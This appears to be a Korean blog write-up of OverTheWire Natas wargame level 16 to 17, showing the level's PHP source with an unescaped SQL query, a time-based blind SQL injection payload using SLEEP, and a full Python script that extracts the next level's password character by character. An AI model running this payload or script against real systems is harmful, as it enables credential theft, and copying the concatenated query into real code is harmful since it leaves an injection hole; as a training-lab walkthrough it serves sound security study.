해킹&보안/웹해킹

[웹 해킹 : 나타스(Natas 워게임] Level 16 -> 17(웹 해킹 / 보안)

yamaeking 2025. 4. 16. 11:00

Natas wargame Level 16 -> 17 로그인 정보와 URL 은 아래와 같다.

(참고로 Password는 사람마다 다를 수 있다! 시도(?)하는 환경마다 조금씩 차이가 있는 것 같음.)

 

OverTheWire

We're hackers, and we are good-looking. We are the 1%. <!-- Please read and accept the Rules! --> Username: natas1 URL: http://natas1.natas.labs.overthewire.org

overthewire.org

 

 

1. 문제 풀이

 > Natas URL로 접속하면 아래 화면이 나온다.

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

 

> 뭔가 나타스15 레벨에 있는 것과 비슷하게 생겼다. 근데 echo를 주석처리 해놔서 내가 넣은 값이 맞는지 안 맞는지 알 수 없게 만들어놨다. (Blind SQL Injection) 그래서 이건 시간 기반 SQL Injection 을 통해 문제를 해결해야 한다.  우선 다음과 같은 코드를 username에 넣고 실행해보자.

natas17" AND SLEEP(2) #

 

> 위 코드를 넣고 check existence를 누르면 화면이 바로 바뀌는데 (응답이 바로 옴.),  natas18" AND SLEEP(2) # 을 넣어서 보내면 2초 정도 있다가 응답이 온다. 즉 natas17이라는 유저네임은 없으니까 false여서 AND 를 실행하지 않고 바로 응답이 온다. 

 -> 근데 natas18이라는 유저네임은 있기 때문에 참이 되어 AND 뒤에 있는 SLEEP(2)가 실행된다. 그래서 응답이 2초 있다 옴ㅇㅇ;

 

> username은 찾았으니 이제 password를 하나하나 시간 기반으로 탐색하여 찾아보도록 하자.

(Password의 Length도 시간 기반으로 하나 하나 탐색해 볼 수 있기는 한데, 32자리가 일반적으로 natas에서 쓰는 비밀번호 길이이므로 32자리다 생각하고 코드를 짜보자.)

 


import requests
import string
import time
from requests.auth import HTTPBasicAuth

# 인증 정보
auth = HTTPBasicAuth('natas17', 'EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC')  # 나타스17 비밀번호 넣기.
url = "http://natas17.natas.labs.overthewire.org/"
charset = string.ascii_letters + string.digits
password = ""

for i in range(1, 33):  # 1부터 32까지 (SUBSTRING은 1-based)
    for c in charset:
        payload = f'natas18" AND IF(BINARY SUBSTRING(password,{i},1)="{c}", SLEEP(5), 0) #'
        data = {"username": payload}

        #현재 시간 체크
        start_time = time.time()
        res = requests.post(url, data=data, auth=auth)

        #response 올 때의 시간 체크.
        elapsed = time.time() - start_time

        
        if elapsed > 4.7:
            password += c
            print(f"[{i}] Found: {password}")
            break

print(f"\n Final password for natas18: {password}")

 

 

> 주석 보면 알겠지만, POST request 보내기 전에 시간을 체크하고, response 올 때의 시간을 체크하여 이 차이가 4.7초 이상(Sleep은 5초로 해두긴 했음.) 인 것이 있다면 password에 저장하고 break; 하여 password[i]번째의 비밀번호를 길이만큼 쭈욱 탐색하는 코드이다.  이렇게 하면 아래처럼 뚱땅뚱땅 코드를 실행 시키면서 password 길이가 32번째가 될 때까지 해당하는 비밀번호를 찾게 된다. 

 

 

*Sleep(3)일 때는 제대로 된 cracking 이 안 되어서 Sleep(5)를 하였다.

 

 

2. 요약

☞ Sleep 함수를 이용하여 시간 기반으로 비밀번호가 맞는지 안 맞는지 판단하여 최종 비밀번호를 얻어오는 Blind SQL Injection 문제.